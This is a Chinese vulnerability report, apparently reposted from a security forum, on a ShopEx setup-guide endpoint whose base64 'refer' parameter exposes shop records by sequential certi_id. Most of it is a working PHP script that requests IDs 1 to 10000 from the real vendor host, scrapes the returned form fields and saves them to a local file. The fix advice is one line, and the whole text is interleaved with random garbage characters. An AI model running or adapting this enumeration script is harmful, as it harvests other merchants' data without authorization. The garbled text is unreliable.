|
|
简要描述:% M7 l! _9 }4 B$ C4 J
ShopEx某接口缺陷,可遍历所有网站& e9 g+ Q; x7 o6 c; e) a& p# W* h
详细说明:: M) W5 r& L# n) D; \6 Y
问题出现在shopex 网店使用向导页面 , n0 p+ S& M( M( k; {
) Q% @* ~: b( N# }, Q
- B- X! q- [+ Z4 g4 h; N2 m/ P! O- Q( ]
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
\: g. A6 T2 Q0 H& G# t4 u6 r. l" r! L- J( a, i
# `' V; N" w% L; L1 ^ ]8 L- H3 [' b7 x0 l2 X! ^' y T
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}. v& r3 a; E, I
6 d- r& v+ X% |: u8 t
: m) A, l7 `4 e# {6 u# U% Q
3 g3 J, u5 B' s& k" _/ D我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
5 W9 Q7 `, T; N: w7 H( N
T# G j( t5 V+ @0 t; t6 o; o) h( f2 t; B2 f
0 r r+ d: M' H9 }1 _
<?php* p* y. W# Q7 S/ z6 K) l+ U
- }2 k( w3 U0 n; g3 w for ($i=1; $i < 10000; $i++) { //遍历
. u+ H/ R+ F* ^5 J7 a
2 j2 ?. m: N- ~6 ? h1 O ShowshopExD($i);4 ?; Q4 C2 }2 W* f0 B J, z( V
4 I/ Z9 b; Z1 W, E y$ | }3 Z) {) X# I3 C2 }* f) A0 {; m
, T, D& O* b% F
function ShowshopExD($cid) {" L, c$ T. g* @
: O: O' Z' C& N1 K1 h8 V
$url='http://guide.ecos.shopex.cn/step2.php';
! t7 k0 ^8 G: C8 w) x4 @
z7 u* v* u1 ^$ h- q $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');4 k8 Z/ v5 k; F" ?% f! d4 a
! G5 h. [1 `' \3 }% J- a( H $url = $url.'?refer='.$refer;' B5 I4 Q5 _9 p- A& p
! w1 p; ^/ k0 U9 R $ch = curl_init($url);5 p# Y# O/ d! N& D) o R9 i
/ [, G# u8 H4 d& [6 i# Q
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
# Y8 T& ?" [2 I: R# Q+ q$ {3 s/ M$ ?" e8 O2 Y' D' N
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;- `" G6 Y, l( h# K5 C/ Q
% b, C/ Z7 d' P! t) \2 X
$result = curl_exec($ch);' ^+ c, _2 s( Q3 O# ~$ e
( p' N. f( W# O+ p+ b. n. |% R3 t& D! Z $result = mb_convert_encoding($result, "gb2312", "UTF-8");
6 T0 V3 T* ~7 G
( y/ X9 ?$ l% s4 I7 s; Q: X5 F if(strpos($result,$refer))
! C3 [4 S e+ ~+ C, Q9 g- _' R6 B6 E* d! m7 P/ g
{
- u w% |3 l. q! u! \
! x6 \2 E2 w8 d $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
# o# Z. R6 D5 U J7 o' p- `) s+ y1 M {9 ]! T
preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);) l5 l- T' ]1 X$ [5 l
+ {: y' J6 w1 W$ x7 E
foreach ($value[1] as $key) {8 G$ c2 w: g9 [4 _! t% m' g
1 O$ o T" q0 N! \5 w- c
preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
) \1 }3 ?; G9 o4 x! t1 [9 A! s- I" q) N3 Q% E5 N/ V
echo $res[1][0].':'.$res[3][0]."\r\n";! z& [' {* s$ `+ S
' o6 o; B9 G. J( o8 o8 c $col =$res[1][0].':'.$res[3][0]."\r\n";
2 q: f; g' Q, f M) h: H; z* T# [& @1 A& N* i" u
fwrite($fp, $col, strlen($col)); % M; s( W0 F' \8 L. L( J3 I
5 U/ O2 d+ @& Z v0 E }5 k( z- F& P+ [& U n! D. q
* U! s9 {2 D" h4 B9 X
echo '--------------------------------'."\r\n";
/ b: a$ f& N+ k6 P. ^/ y1 `% {9 D( T2 A z# Z0 {
fclose($fp);
. }+ k) k( {( s$ z7 s/ N3 c
2 G& n/ Z! Z* y; P }
2 |) t( L5 o+ p1 R
9 H* z# g" R, k/ z' S- N flush();
; j) S. o: r3 T# g: \ {
2 y% H$ G6 u4 {' }! t* H! z curl_close($ch);! g- x; o7 M! Z- a
7 g8 L1 c$ A5 o6 u }% Q3 B. O2 \: Q
" t3 E: E$ r# ?' k( B% n?>
P: B3 v+ F% R4 c& {4 t# {4 M漏洞证明:$ Q) n0 j$ l* `1 h6 L" O* S
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
2 O% ~5 f. V6 u0 R3 W% Yrefer换成其他加密方式
5 X3 S% M) O1 Z( M |
|